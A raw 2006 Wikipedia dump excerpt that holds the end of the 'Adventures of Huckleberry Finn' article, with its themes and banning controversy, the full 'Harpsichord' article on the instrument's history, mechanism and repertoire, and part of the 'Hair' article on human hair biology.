It is commonly said that the beginning and ending of the book, the parts in which Tom Sawyer appears as a character, detract from its overall impact.  Others feel Tom serves to start the story off and to bring it to a conclusion, and that Tom's ridiculous schemes have the [[paradox]]ical effect of providing a framework of 'reality' around the mythical river voyage.  Much of the boyhood innocence and romantic depictions of nature occur in the first sixteen chapters and the last five, while the middle of the story shows the harsh realities of [[antebellum]] society. 

Another theme is Huck's gradual acceptance of Jim as a man, strong, brave, generous, and wise (though realistically portrayed as imperfect).

Its themes on [[religion]] are almost as strong as its race theme.  Huck himself comes across as religious but having trouble believing in [[God]]: although he tries to pray, he finds it to be a waste of time.  In fact, Huck comes across as one of the most unbiased, open-minded characters of popular literature as he continually questions his own motivation and life in general throughout the book.

In another amusing commentary on 19th century society, Twain includes the character of a deluded, unemployed drunkard who insists upon being addressed as &quot;Your Majesty&quot; and claims to be the long-lost son of [[Louis XVI]] and Queen [[Marie-Antoinette]], who were both executed by French republicans in [[1793]]. Their son, [[Louis XVII]], died in a republican jail in [[1795]], but many pretenders appeared all over the world claiming to be the young boy-king of [[France]]. By the middle of the century they were becoming increasingly absurd and unbelievable.

==Controversy== 
[[Image:Huckleberry-finn-with-rabbit.jpg|thumb|250px|right|Huckleberry Finn]] 
Although the [[Concord, Massachusetts]] library banned the book shortly after its publication because of its &quot;tawdry subject manner&quot; and &quot;the coarse, ignorant language in which it was narrated&quot;, the ''[[San Francisco Chronicle]]'' came quickly to its defense on March 29, [[1885]]:
:&quot;Running all through the book is the sharpest [[satire]] on the ante-bellum estimate of the slave.  Huckleberry Finn, the son of a worthless, drunken, poor white man, is troubled with many [[qualm]]s of conscience because of the part he is taking in helping the negro to gain his freedom.  This has been called exaggerated by some critics, but there is nothing truer in the book.&quot;[1]

In the United States, occasional efforts have been made to restrict the reading of the book.  In addition to its Concord ban, it has, at various times, also been:
* excluded from the juvenile sections of the [[Brooklyn]] Public library and other libraries
* removed from reading lists due to alleged racism (e.g., in March of [[1995]] it was removed from the reading list of 10th grade English classes at National Cathedral School in [[Washington, DC]], according to the ''[[Washington Post]]'' (a [[New Haven, Connecticut]] correspondent to [[Banned Books Online]] reports it has been removed from a public school program there as well).
* removed from school programs at the behest of groups maintaining that its frequent use of the word ''[[nigger_(word)|nigger]]'' implies that the book as a whole is [[racist]], despite what defenders maintain is the overwhelmingly anti-racist plot of the book, its satirical nature, and the anachronism of applying current definitions of polite speech to past times.

[[Russell Baker]] wrote:
:&quot;The people whom Huck and Jim encounter on the Mississippi are drunkards, murderers, bullies, swindlers, lynchers, thieves, liars, frauds, child abusers, numskulls, hypocrites, windbags and traders in human flesh. All are white.  The one man of honor in this phantasmagoria is 'Nigger Jim,' as Twain called him to emphasize the irony of a society in which the only true gentleman was held beneath contempt.&quot;[http://www.jewishworldreview.com/cols/hentoff112999.asp]

The [[American Library Association]] ranked ''Huckleberry Finn'' the fifth most frequently challenged (in the sense of attempting to ban) book in the United States during the [[1990s]].

A character in the [[1969]] [[Nero Wolfe]] novel ''Death of a Dude'' by [[Rex Stout]] opines that &quot;All right, then, I'll go to hell,&quot; Huck's pronouncement on his own fate for his decision to help Jim escape, is the single greatest sentence in American literature.  While that is rather a large claim, many critics would likely agree that this is ''one of'' the greatest lines in American literature.

==References and external links==
{{wikisource}}
* [http://www.randomhouse.com/highschool/catalog/display.pperl?isbn=9780553210798&amp;view=tg Teacher's Guide] at Random House
* [http://onlinebooks.library.upenn.edu/banned-books.html Banned Books Online]
* [http://www.boondocksnet.com/twainwww/hf_debate.html Hucklebery Finn Debated]
* {{gutenberg|no=76|name=The Adventures of Huckleberry Finn}}
* [http://www.mtwain.com/Adventures_Of_Huckleberry_Finn/index.html Adventures of Huckleberry Finn] - searchable, indexed e-text.
* [http://mark-twain.classic-literature.co.uk/the-adventures-of-huckleberry-finn/ Adventures of Huckleberry Finn] - Full text in easy to read HTML format.
* Audiobook recording with accompanying text of [http://content.loudlit.org/audio/hfinn_java/pages/01_01_hfinn.htm &quot;Adventures of Huckleberry Finn&quot;].
*[http://www.pbs.org/wgbh/cultureshock/flashpoints/literature/huck.html Culture Shock: Mark Twain's Adventures of Huckleberry Finn]
* [http://library.titiland.com/toc/adventures_of_huckleberry_finn_mark_twain.htm Adventures of Huckleberry Finn by Mark Twain] - Online book in user-friendly HTML. Other Mark Twain books available, too.
*[http://www.pbs.org/wgbh/cultureshock/beyond/huck.html Born To Trouble: Adventures of Huck Finn]

[[Category:1885 books]]
[[Category:American novels]]
[[Category:Banned books]]
[[Category:Children's books]]
[[Category:Mark Twain]]</text>
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    <title>Harpsichord</title>
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      <comment>Reverted edits by [[Special:Contributions/195.92.67.67|195.92.67.67]] ([[User talk:195.92.67.67|talk]]) to last version by FlavrSavr</comment>
      <text xml:space="preserve">[[image:Flemish_harpsichord_small.png|thumb|250px|Harpsichord in Flemish style; for more info, click the image.]]
A '''harpsichord''' is the general term for a family of European [[musical keyboard|keyboard]] [[musical instrument|instrument]]s, including the large instrument nowadays called a harpsichord, but also the smaller '''virginals''', the '''muselar virginals''' and the '''spinet'''.  All these instruments generate [[sound]] by plucking a [[strings (music)|string]] rather than striking one, as in a [[piano]] or [[clavichord]]. The harpsichord family is thought to have originated when a keyboard was affixed to the end of a [[psaltery]], providing a mechanical means to pluck the strings.

== History ==
[[Image:Harpsichord - Project Gutenberg eBook 12254.jpg|thumbnail|right|250px|Virginal, probably English, late 17th century]]
The origin of the harpsichord is obscure, but is known to have begun some time during the high or late [[Middle Ages]]. The earliest written references to the instrument date from the [[1300]]s and it is possible that the harpsichord was indeed invented in that century. This was a time in which advances in [[clockwork]] and other forms of early pre-modern machinery were being made and thus a likely time for the invention of those mechanical aspects that distinguish a harpsichord from a [[psaltery]]. A [[Latin]] [[manuscript]] work on musical instruments by Henri [[Arnault de Zwolle]], c. [[1440]], includes detailed diagrams of a small harpsichord and three types of jack action.

The earliest complete harpsichords still preserved come from [[Italy]], the oldest specimen being dated to [[1521]]. The Royal Academy of Music in London, has an instrument of a curious upright form which may be older; unfortunately it lacks the action. These early Italian instruments can however shed no light on the ''origin'' of the harpsichord, as they represent an already well-refined form of the instrument. The Italian harpsichord makers made single-manual instruments with a very light construction and relatively little string tension.  This design persisted with little alteration among Italian makers for centuries.  The Italian instruments are considered pleasing but unspectacular in their [[Pitch (music)|tone]] and serve well for [[accompaniment|accompanying]] singers or other instruments.

[[Image:Jan Vermeer van Delft 024.jpg|thumb|left|A lady standing at a virginal, by Jan Vermeer van Delft]]
A revolution in harpsichord construction took place in [[Flanders (county)|Flanders]] some time around [[1580]] with the work of [[Hans Ruckers]] and his descendants, including [[Ioannes Couchet]]. The Ruckers harpsichord was more solidly constructed than the Italian. Because they used longer strings (always with the basic two sets of strings; either one 8-foot and a 4-foot, or both at 8-foot pitch), greater string tension, and a heavier case, as well as a very slender and responsive spruce soundboard, the tone was more powerful than with the Italian harpsichord, and served as the basis for subsequent harpsichord building in most other nations. The Flemish makers also innovated the two-manual harpsichord, which was initially used merely to permit easy [[transposition (music)|transposition]] (at the interval of a fourth) rather than to increase the expressive range of the instrument. However, later in the [[17th century]] the additional manual was also used for contrast of tone with the ability to couple the registers of both manuals for a fuller sound. The Flemish harpsichords were often elaborately painted and decorated.

The Flemish instrument received further development in [[18th century|18th-century]] [[France]], notably with the work of the [[Blanchet]] family and their successor [[Pascal Taskin]]. These French instruments imitated the [[Flemish]] design, but were extended in range, from about four to about five octaves. In addition, two-manual French instruments used their manuals to vary the combination of stops being used (that is, strings being plucked) rather than for transposition. The [[18th century]] French harpsichord is often considered one of the pinnacles of harpsichord design, and it is widely adopted as a model for the construction of modern instruments.

A striking aspect of the 18th-century French tradition was its near-obsession with the Ruckers harpsichords. In a process called ''grande ravalement'', many of the surviving Ruckers instruments were dissasembled and reassembled, with new soundboard material and case construction adding an octave to their range. It is considered likely that many of the harpsichords claimed at the time to be Ruckers restorations are fraudulent, though they are superb instruments in their own right.

In [[England]], two immigrant makers, [[Jacob Kirckman]] (from [[Alsace]]) and [[Burkat Shudi]] (from [[Switzerland]]), achieved eminence with harpsichords noted for their powerful tone and exquisite [[Veneer (wood)|veneered]] cases. The sound of Kirckman and Shudi harpsichords has impressed many listeners, but the feeling that it overpowers the music has led to very few modern instruments being modeled on them. The Shudi firm was passed on to Shudi's son-in-law [[John Broadwood]], who adapted it to the manufacture of [[piano]]s and became a leading creative force in the development of that instrument.

German harpsichord makers roughly followed the French model, but with a special interest in achieving a variety of sonorities, perhaps because some of the most eminent German builders were also builders of [[Organ (music)|pipe organs]]. Some German harpsichords included a choir of 2-foot strings (that is, strings pitched two octaves above the primary set). A few even included a 16-foot [[Organ stop|stop]], pitched an octave below the main 8-foot choirs. One still-preserved German harpsichord even has three manuals to control the countless combinations of strings that were available. The 2-foot and 16-foot stops of the German harpsichord are not particularly favored among [[harpsichordist]]s today, who tend to prefer the French type of instrument.

At the peak of its development, the harpsichord lost favor to the [[piano]]. The piano quickly evolved away from its harpsichord-like origins, and as a result the knowledge of how to build good harpsichords died out for over a century. In the early [[20th century]], an awakening interest in [[authentic performance]] led to the revival of the harpsichord. This included crude &quot;modernizations&quot; of antique instruments, as well as the construction of harpsichords resembling modern concert grand pianos. These instruments sounded surprisingly weak for their size, because their frames and soundboards were too heavy to properly match the thin and lightly tensioned strings of the harpsichord. Builders typically included a 16-foot stop in these instruments to bolster the sound, even though in historical times the 16-foot had played only a minor role.

Ultimately, it was acknowledged that to make fine modern harpsichords it would be necessary to learn the methods followed by the old builders. Two important pioneers in the process of rediscovery were the builder-scholars [[Frank Hubbard]] and [[William Dowd]], who took apart and inspected many old instruments and consulted the written material on harpsichords from the historical period. Today, harpsichords that are based on the rediscovered principles of the old makers are built in workshops around the world. The workshops often also construct kits, which are assembled into final form by amateur enthusiasts.

==Action== 

The action is fairly similar in all harpsichords:
[[image:Harpsichord_action.png|center|frame|How it works]]

* The ''keylever'' is a simple pivot which rocks on a pin passing through a hole drilled through it.
* The ''jack'' is a thin, rectangular piece of wood which sits upright on the end of the keylever, held in place by the guides (upper and lower) which are two long pieces of wood with holes through which the jacks can pass.

[[image:Jack.JPG|center|frame|Upper part of a jack]]

* In the jack, a ''[[plectrum]]'' juts out almost horizontally (normally the plectrum is angled upwards a tiny amount) and passes just under the string. Historically, plectra were normally made of [[crow]] quill or leather, though most modern harpsichords use a plastic ([[delrin]] or [[celcon]]) instead.
* When the front of the key is pressed (2), the back is lifted up, the jack is raised, and the plectrum plucks the string (3).

[[image:Jack_action.PNG|center|frame|jack action]]

* Upon lowering the key, the jack falls back down under its own weight, and the plectrum pivots backwards to allow it past the string (4). This is made possible by having the plectrum held in a tongue which is attached with a hinge and a spring to the body of the jack.
* At the top of the jack, a damper of felt sticks out and keeps the string from vibrating when the key is not depressed (1).
[[image:HPSCHD_shove_coupler.JPG|center|frame|shove coupler (French system)]]
[[image:HPSCHD_dogleg_jack.JPG|center|frame|dogleg jack (English system)]]

==Variants==

While the terms used to denote various members of the family have been quite standardized today, in the harpsichord's heyday, this was not the case.

===Harpsichord===

In modern usage, a harpsichord can either mean all the members of the family, or more specifically, the [[Grand piano|grand-piano]]-shaped member, with a vaguely triangular case accommodating long [[Bass (musical term)|bass]] strings at the left and short [[treble]] strings at the right; characteristically, the profile is more elongated than that of a modern piano, with a sharper curve to the [[bentside]]. 
A harpsichord can have from one to three, and occasionally even more, strings per [[note]]. Often one is at [[four-foot|4-foot]] pitch, an octave higher than the normal [[eight-foot|8-foot]] pitch. 
Single manuals, or [[musical keyboard|keyboards]], are common, especially in Italian harpsichords, though other countries occasionally produced double manuals and there are a few examples of three manual German instruments.

===Virginals===
The '''virginal''' or '''virginals''' is a smaller and simpler rectangular form of the harpsichord (that looks somewhat like a [[clavichord]]), with only one string per note running parallel to the keyboard on the long side of the case.  The origin of the word is obscure, perhaps from latin word virga (?).  Note that the word &quot;virginal&quot; in [[Elizabethan era|Elizabethan times]] was often used to designate any kind of harpsichord; thus the masterworks of [[William Byrd]] and his contemporaries were often played on full-size, Italian-style harpsichords and not just on the virginals as we call it today.  Virginals are described either as '''spinet virginals''' (the usual type) or '''muselar virginals'''.   

====Spinet virginals==== 
In spinet virginals, the keyboard is placed on the left, and the strings are plucked at one end as in other members of the harpsichord family.  This is the more common arrangement, and an instrument described simply as a &quot;virginal&quot; is likely to be a spinet virginal.

====Muselar virginals====
In muselar virginals,( muselaar, Netherlands ), or muselars, the keyboard is placed to the rightor in the center so that the strings are plucked in the middle of their sounding length. This gives a warm and rich sound, but at a price: the action for the left hand is inevitably placed in the middle of the instrument's sounding board, with the result that any mechanical noise from this action is amplified.  An 18th century commentator said that muselars &quot;grunt in the bass like young pigs&quot; ( muselar with arpichordum ). In the 16th and 17th centuries, muselars were nonetheless popular, but they fell out of use in the 18th century.
In addition to mechanical [[Noise (environmental)|noise]], the central plucking point in the bass makes repetition difficult, because the motion of the still-sounding string interferes with the ability of the plectrum to connect again. Thus the muselar was better suited to [[Chord (music)|chord]]-and-[[melody]] [[music]] without complex left-hand parts.

===Spinet===
Finally, a harpsichord with the strings set at an angle to the keyboard (usually of about 30 degrees) is called a '''spinet'''.  In such an instrument, the strings are too close to fit the jacks between them in the normal way; instead, the strings are arranged in pairs, the jacks are placed in the large gaps between pairs, and they face in opposite directions, plucking the strings adjacent to the gap.

===Clavicytherium===
A clavicytherium is a harpsichord that is vertically strung.  Few were ever made.  The same space-saving principle was later embodied in the upright piano. It's action was modified to make the vertical form possible simply by modifying the shape of the jacks so that the body curved like a quarter circle.

===Variations===
Unsurprisingly, for an instrument that was produced in large numbers for over three centuries, there is a great deal of variation between harpsichords. 

In addition to the varied forms that the instrument can take and the different dispositions, or [[register (music)|registrations]], that can be fitted to a harpsichord as mentioned above, the range can vary greatly.

Generally, earlier harpsichords have smaller [[Range (music)|ranges]] and later ones larger, though there are frequent exceptions. 
In general, the largest harpsichords have a range of just over five [[octave]]s and the smallest have under four.  Usually, the shortest keyboards were given extended range using the method of the &quot;[[short octave]]&quot;.

==Harpsichordists==

Modern harpsichord playing can be roughly divided into three eras, beginning with the career of the influential reviver of the instrument, [[Wanda Landowska]] ([[1879]]–[[1959]]). Landowska used a harpsichord made by [[Pleyel]] of the heavy, piano-influenced type discussed above. Such instruments, though now considered inappropriate for earlier music, retain some historical importance for the works that were specifically composed for them (concertos by Falla and Poulenc, for example). An influential later group of English players using post-Pleyel instruments by Thomas Goff and the [[Goble]] family included [[George Malcolm (musician)|George Malcolm]] and [[Thurston Dart]].

The next generation of harpsichordists were the pioneers of modern performance on instruments built according to the [[Authentic performance|authentic practices]] of the earlier period, following the research of such scholar-builders as [[Frank Hubbard]] and [[William Dowd]].  This generation of performers included such players as [[Ralph Kirkpatrick]], [[Igor Kipnis]], and [[Gustav Leonhardt]].  More recently, many other outstanding harpsichordists have appeared, including [[Trevor Pinnock]], [[Kenneth Gilbert]], [[Christopher Hogwood]], [[Ton Koopman]], [[Iakovos Pappas]], [[Jory Vinikour]], [[Christophe Rousset]], [[Andreas Staier]] and [[Mitzi Meyerson]]. 

For a list of harpsichord performers, see [[Harpsichordist]].

== Music for the harpsichord== 

===Classical===

The first music written specifically for solo harpsichord came to be published around the middle of the [[16th century]]. Composers who wrote solo harpsichord music were numerous during the whole [[Baroque music|Baroque]] era in Italy, Germany and, above all, France.   Favorite genres for sole harpsichord composition included the dance [[suite]], the [[fantasia (music)|fantasia]], and the [[fugue]].  Besides [[Solo (music)|solo]] works, the harpsichord was widely used for accompaniment in the [[basso continuo]] style (a function it maintained in [[opera]] even into the [[19th century]]). Well into the 18th century, the harpsichord was considered to have advantages and disadvantages with respect to the [[piano]]. 

Through the 19th century, the harpsichord was ignored by [[composer]]s, the piano having supplanted it. In the 20th century, however, with increasing interest in [[early music]] and composers seeking new sounds, pieces began to be written for it once more. [[Harpsichord concerto|Concertos]] for the instrument were written by [[Francis Poulenc]] (the ''Concert champêtre'', 1927-28), [[Manuel de Falla]] and, later, by [[Henryk Górecki]] as well as [[Philip Glass]] (2002). [[Bohuslav Martinů]] wrote both a [[concerto]] and a [[sonata (music)|sonata]] for it, and [[Elliott Carter]]'s ''Double Concerto'' is for harpsichord, piano and two chamber [[orchestra]]s. [[György Ligeti]] has written a small number of solo works for the instrument (including &quot;Continuum&quot;). Both [[Dimitri Shostakovich]] (''Hamlet'', 1964) and [[Alfred Schnittke]] (Symphony No.8, 1998) used the harpsichord as part of the orchestral texture. More recently harpsichordist [[Hendrik Bouman]] has composed in the baroque style 32 solo pieces, one harpsichord concerto and two [[Musical composition|compositions]] of [[chamber music]] with [[obbligato]] harpsichord. In addition, the silver and small screen composer, [[Danny Elfman]], often uses harpsichord in jazz and classic pieces in his composition, such as the soundtrack for [[Tim Burton]]'s [[Corpse Bride]] which uses both genres.

===Popular music===

Like almost all instruments of classical music, the harpsichord has been adapted for popular work.  Here are some examples.

*Jimi Hendrix featured a harpsichord in his hit &quot;Burning of the Midnight Lamp&quot; from the Electric Ladyland album.  It is easily heard playing the same main riff as Jimi on the guitar.

*The harpsichord was popular for light jazz music during the 1960s, particularly in Britain. For example, the jazz theme tunes to the ''[[The Avengers (TV series)|Avengers]]'' and ''Danger Man aka Secret Agent TV'' programs from the 1960s both feature harpsichords. [[Lalo Schifrin]] sometimes featured harpsichords in his jazz recordings during the '60s. 

*In 1996 [[Tori Amos]] featured the harpsichord on several of her songs of her album &quot;Boys for Pele&quot; - &quot;Caught a Lite Sneeze&quot;, &quot;Blood Roses&quot;, &quot;Professional Widow&quot;, &quot;Talula&quot;, and &quot;In the Springtime of His Voodoo&quot;. She has performed the songs live on [[Saturday Night Live]], playing both a harpsichord and a piano in turn. 

*On the [[Abbey Road]] album, [[The Beatles]] used the harpsichord on &quot;[[Because (The Beatles song)|Because]]&quot; (track #8).

*A harpsichord was part of the ensemble for the [[Linda Ronstadt]] song &quot;Long, Long Time.

*A harpsichord is used to provide the accompaniment to singer-songwriter [[Dory Previn]]'s song &quot;Michael Michael&quot;.

*[[The Beach Boys]] used harpsichords on [[Pet Sounds]] and on [[Good Vibrations]] (1966).

*The Japanese psychedelic band [[Ghost (band)|Ghost]] has used the harpsichord.

*[[Warmen]] a melodic metal band uses Harpsichords in many of their songs.

*Queen used a harpsichord on their song &quot;Fairy Feller's Master Stroke&quot; from their album Queen II

*The harpsichord was a key component of the &quot;sound&quot; of recordings created for the popular 1970s TV show and albums of [[The Partridge Family]], featuring [[David Cassidy]].

*The [[Paula Abdul]] Top 10 hit &quot;Blowing Kisses In The Wind&quot; features the harpsichord.

*British group [[The Stranglers]] used the harpsichord to lead their 1982 hit [[Golden Brown]].

*Many Metal bands like Sonata Arctica and Imperanon use their [[keyboard synthesizer]]s to emulate the sounds of harpsichords.

*Joanna Newsom used the harpsichord for the track Peach, Plum, Pear on her Milk-Eyed Mender album.

==Further reading==

''Three Centuries of Harpsichord Making'' by Frank Hubbard (1967, Cambridge, MA:  Harvard University Press; ISBN 0674888456) is an authoritative survey of how early harpsichords were built and how the harpsichord evolved over time in different national traditions.

==External links==
{{Commonscat|Harpsichords}}
*[http://www.sankey.ws/history.html A brief history of the harpsichord]
*[http://www.bigduck.com/harp1.html A harpsichord site with images]
*[http://www-personal.umich.edu/~bpl/hpsi.html Hear the sound of various harpsichords]
*[http://www.bigduck.com/mottos.html Latin mottoes painted on harpsichords]
*[http://www.harpsichord.org.uk Extensive source of harpsichord information]
*[http://www.albany.edu/faculty/bec/hpschd-l/  HPSCHD-L is a list devoted to early stringed keyboard instruments.]
*[http://HarpsichordPhoto.org/ HarpsichordPhoto is a site devoted to photographs of early stringed keyboard instruments.]
[[Category:Keyboard instruments]] 
[[Category:String instruments]]

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[[nl:Klavecimbel]]
[[ja:チェンバロ]]
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[[pt:Cravo (música)]]
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  </page>
  <page>
    <title>Hair</title>
    <id>14313</id>
    <revision>
      <id>42091806</id>
      <timestamp>2006-03-03T19:49:31Z</timestamp>
      <contributor>
        <username>Kaarel</username>
        <id>957166</id>
      </contributor>
      <minor />
      <text xml:space="preserve">:'''''Hair''' is also the name of a [[Musical theater|musical]]; see the [[Hair (musical)|stage production]] and the [[Hair (film)|movie]]''.

[[Image:Anderson Sophie Young Girl Fixing Her Hair.jpg|thumb|right|&quot;Young Girl Fixing her Hair&quot;, by [[Sophie Gengembre Anderson]]]]
'''Hair''' (latin ''pili'') is a filamentous outgrowth of the [[skin]] found only in [[mammal]]s. In some species it is absent at certain stages of life. It projects from the  [[epidermis (skin)|epidermis]], though it grows from [[follicles]] deep in the [[dermis]]. So-called &quot;hairs&quot; ([[trichome]]s) are also found on [[plant]]s. The projections on [[insect]]s and [[spider]]s are actually [[insect bristle]]s. The hair of non-[[human]] [[species]] is commonly referred to as [[fur]]. There are varieties of [[cat]]s, [[dog]]s, and [[mouse|mice]] bred to have little or no visible hair.

Hair serves a number of different functions. It provides [[thermal insulation|insulation]] from the cold, and in some species from hot [[weather]].  It is generally [[pigment]]ed, providing coloration, sometimes the same as the underlying skin. It often serves as [[camouflage]], both for prey and [[predator]]s. In some species the pigmentation changes with the [[season]]s; e.g., becoming white during the snowy [[winter]], and in cases even more rapidly than that with changes in background. Hair can also provide protection against [[abrasion]], and [[head]] hair can buffer impacts to the [[skull]]. In some species, hair patterns can be a part of [[sexual dimorphism]]; e.g., the long [[mane]]s of male [[lion]]s.

In modern [[Western world|Western societies]] it is considered [[masculinity|masculine]] for [[man|men]] to maintain the naturally thicker hair on their [[face]]s, [[arm]]s, [[chest]]s, [[back]]s, [[buttocks]] and [[human leg|legs]], but the hair growing from the top of the head is generally kept relatively short. By contrast, it is considered [[femininity|feminine]], for [[woman|women]] to have little or no hair on their bodies, including [[pubic hair]], but to let it grow long on the tops of their heads. Before [[World War I]] men generally had longer hair and [[beard]]s. The [[trench warfare]] between [[1914]] and [[1918]] exposed men to [[lice]] and [[flea]] [[infestation]]s, which caused the order for hair to be cut short, establishing a norm that has persisted. [[Hair care]] for humans is a major world industry with specialized tools, chemicals and techniques. In most [[society|societies]], people style or adorn their hair for aesthetic reasons and often have it [[haircut|cut]] or removed by [[shave|shaving]] or [[depilation|other means]]. In some, women usually shave their legs, [[armpit]]s and the entirety or just parts of the pubic area, and shape their [[eyebrow]]s.

== Human hair ==
[[Image:Hair.jpg|right|thumb|120px|People from different cultures have invented various ways to arrange, or &quot;style&quot; their hair.]]
Typically, humans have the longest hair on the top of the head, with shorter hair on the [[eye]]lids and [[eyebrow]]s. [[Armpit hair]] and [[pubic hair]] serves as lubrication during rubbing.

Sometimes, the term '''body hair''' is used, to distinguish it from hair on the head. Individual hairs alternate periods of growth and dormancy. During the growth portion of the cycle, [[hair follicles]] are long and bulbous, and the hair advances outward at about a third of a millimeter per day. After three to six months, body hair growth stops (the pubic and armpit areas having the longest growth period). The  follicle shrinks and the root of the hair rigidifies. Following a period of dormancy, another growth cycle starts, and eventually a new hair pushes the old one out of the follicle from beneath. Head hair, by comparison, grows for a long duration and to a great length before being shed. The rate of growth is approximately 1.25 centimeters, or about 0.5 inches, per month. [[Anthropologist]]s speculate that the functional significance of long head hair may be [[adornment]], a byproduct of secondary [[natural selection]] once other somatic hair had been lost. Another possibility is that long head hair is a result of [[Fisherian runaway]] [[sexual selection]], where long lustrous hair is a visible marker for a healthy individual (with good nutrition, waist length hair&amp;mdash;approximately 1 meter or 39 inches long&amp;mdash;would take ~80 months or just under 7 years to grow), and this would explain why long head hair (in both sexes) is viewed as &quot;sexy&quot; even now.

[[Image:Edward S. Curtis Collection People 043.jpg|left|thumb|Traditional Hopi hair style, photo by Edward S. Curtis, 1922]]Hair grows from all areas of the skin on humans regardless of sex or race except in the following locations: the lips, the nipples, the palms of hands, the soles of feet, certain external genital areas, the navel and other scar tissue.  Some people seem to have less body and facial hair than others, but in fact have shorter and finer body hair while the total number of follicles is relatively constant.

Several theories have been advanced to explain the apparent bareness of human body hair. One suggests that nature selected humans for shorter and thinner body hair as part of a set of adaptations including [[bipedal]] locomotion and an upright posture. There are several problems with this ''savanna'' theory, not least of which is that [[cursorial hunting]] is used by (other) animals that do not show any thinning of hair, and that hair similar to [[chimpanzee]]s and [[gorilla]]s also shades the skin from radiant heat and protects it from hot winds, and thus another mechanism for heat loss is not required. Another problem is that bipedal locomotion apparently now predates hominids moving from a forest environment to a savanna environment. A more recent theory for human hair loss has to do with a possible period of bipedal wading in a salt marsh in the Danakil region of [[Ethiopia]], possibly occurring in the hominid lineage between 5 and 7 million years ago. As a wading animal, it was more efficient to develop short body hair and a layer of subcutaneous fat for streamlining and insulation in the aquatic environment; the eccrine sweat glands developed later after the hominids left the water; see [[Aquatic ape hypothesis]]. One problem with this theory is that both chimpanzees and gorillas have the same density and distribution of the eccrine glands, but that they have not been developed for sweat production. 

A ''third'' theory for the thin body hair on humans proposes that [[Fisherian runaway]] [[sexual selection]] played a role here (as well as in the selection of long head hair). Possibly this occurred in conjunction with [[neoteny]], with the more juvenile appearing females being selected by males as more desirable; see [[#Types_of_hair|types of hair]] and [[vellus hair]]. The human female body hair typically has more [[vellus hair]] (making the skin appear bare), while the male body typically has more terminal hair (especially on the chest and back). Thus [[sexual selection]] can explain the [[sexual dimorphism]] in human body hair, with the results of selection being more evident (more extreme) in the female than in the male, a point which the other two theories cannot address without proposing substantially different behavior between males and females. Also, we see that artificially bare (shaved, etc.) legs, arms, etc. on women are seen as &quot;sexy&quot; even today, while body shaving is not nearly as common for men.

==Structure==
[[Image:Female brunette.jpg|right|170px|thumb|Hair with a round cross-section will fall straight, as opposed to curly hair, which has a flat cross-section]]
Hair consists 90% of a [[biology|biological]] [[polymer]], [[keratin|&amp;alpha;-keratin]], and about 10% [[water]], which modifies its mechanical properties. This [[alpha helix|&amp;alpha;-helically]] coiled [[protein]] is further wound into [[molecule|supermolecular]] coiled-coil microfibrils, many of which are held together with a protein glue to form long macrofibrils, which are packed inside dead hair cells about 100 µm long by 3 µm across. Several of these associate to form one strand of hair, which is covered with tiny surface scales. The ends of individual keratin chains are high in the [[amino acid]]s [[proline]] (an &amp;alpha;-helix breaker) and [[cysteine]]. Adjacent keratin chains are held together by many [[disulfide bond]]s bridging their [[cysteine]]s. These links are very robust; virtually intact hair has been recovered from ancient Egyptian tombs. Different parts of the hair have different cysteine levels, leading to harder or softer material.

Hair consists of an inner cortex, comprising spindle-shaped cells, and an outer sheath, called the cuticle. Within each cortical cell are the many fibrils, running parallel to the fibre axis, and between the fibrils is a softer material called the matrix. It grows from a [[hair follicle]].

The cuticle is responsible for much of the mechanical strength of the hair fibre. It consists of scale-shaped layers. Human hair typically has 6-8 layers of cuticle. Wool has only one, and other animal hair may have many more layers.
Hair responds to its environment, and to its mechanical and chemical history. For example, hair which is wetted, styled and then dried, acquires a temporary 'set', which can hold it in style. This style is lost when the hair gets wet again. For more permanent styling, chemical treatments (perms) break and re-form the disulphide links within the hair structure.

[[Image:Naturalblonde.jpg.jpg|thumb|An Adult|200px|right|A natural blonde]]

The diameter of a human hair ranges from about [[1 E-5 m|18 µm]]  to [[1 E-4 m|180 µm]]. In people of European descent, blond hair and black hair are at the finer end of the scale, while red hair is the coarsest. The hair of people of Asian descent is typically coarser than the hair of other groups.  

The cross-sectional shape of human hair is typically round in people of Asian descent, round to oval in European descent, and nearly flat in African peoples; it is that flatness which allows African hair to attain its frizzly form. In contrast, hair that has a round cross section will be straight. A strand of straight round cross-section hair that has been flattened, for example, with an edge of a coin, will curl up into a micro-afro.

The speed of growth is roughly 11 cm/yr = 0.3 mm/day = 3 nm/s.
Cells at the base of the hair follicle divide and grow extremely rapidly. Drugs used in [[cancer]] [[chemotherapy]] frequently cause a temporary loss of hair, noticeable on the head and eyebrows, because they kill all rapidly dividing cells, not just the cancerous ones. Other [[disease]]s and [[trauma]]s can cause temporary or permanent loss of hair, generally or in patches.

With [[tensile strength]] of approximately 190 MPa[http://72.14.207.104/search?q=cache:YrVSrG7_PrEJ:web.mit.edu/tas/www/HairStretch/HairTensileTest.pdf+tensile+strength+of+human+hair+steel&amp;hl=en&amp;gl=au&amp;ct=clnk&amp;cd=6],  a single strand of human hair can hold approximately 100 g (3.5 oz) of weight, although this will vary greatly with thickness. Wet hair, however, is very fragile.

== Hair change with aging ==
Older people tend to develop gray hair because the pigment in the hair is lost and the hair becomes colorless. Gray hair is considered to be a characteristic of normal aging. The age at which this occurs varies from person to person, but in general nearly everyone 75 years or older has gray hair, and in general men tend to become gray at younger ages than women.  People starting out with very pale blond hair usually develop white hair instead of grey hair when aging.  Red hair usually doesn't turn grey as redheads age; red hair usually turns a sandy color and then turns white after that.  Some degree of scalp hair loss or thinning generally accompanies in both males and females, and it's estimated that half of all men are affected by male pattern baldness by the time they are 50. The tendency toward baldness is a trait shared by a number of other primate species, and is thought to have evolutionary roots.

==Androgenic hair==

The hair follicles on much of the body respond to [[androgen]]s (primarily [[testosterone]] and its derivatives). The rate of hair growth increases and the weight of the hairs increases. However, different areas respond with different sensitivities. As testosterone level increases (normally at puberty), the sequence of appearance of sexual (androgenic) hair reflects the gradations of androgen sensitivity. The pubic area is most sensitive, and heavier hair usually grows there first in response to androgens.  The following regions also respond to androgens, in order of decreasing sensitivity: axillary and perianal areas, sideburns, above the upper lip, periareolar areas, chin and beard areas, center of chest, arms and legs, across the chest, shoulders, buttocks, back, and abdomen.

It is the hair in these areas that appears earlier or grows to excess in disorders of excess androgen (e.g., [[precocious puberty]], late-onset [[congenital adrenal hyperplasia]], and [[polycystic ovary syndrome]]).

==Other information==
[[Image:red hair.jpg|240px|right|thumb|A woman with dyed red hair]]
Notable variations in physical appearance of the top and back of the head are: 
*[[headgear]]
*[[hair color]] (original or artificial)
*hair type
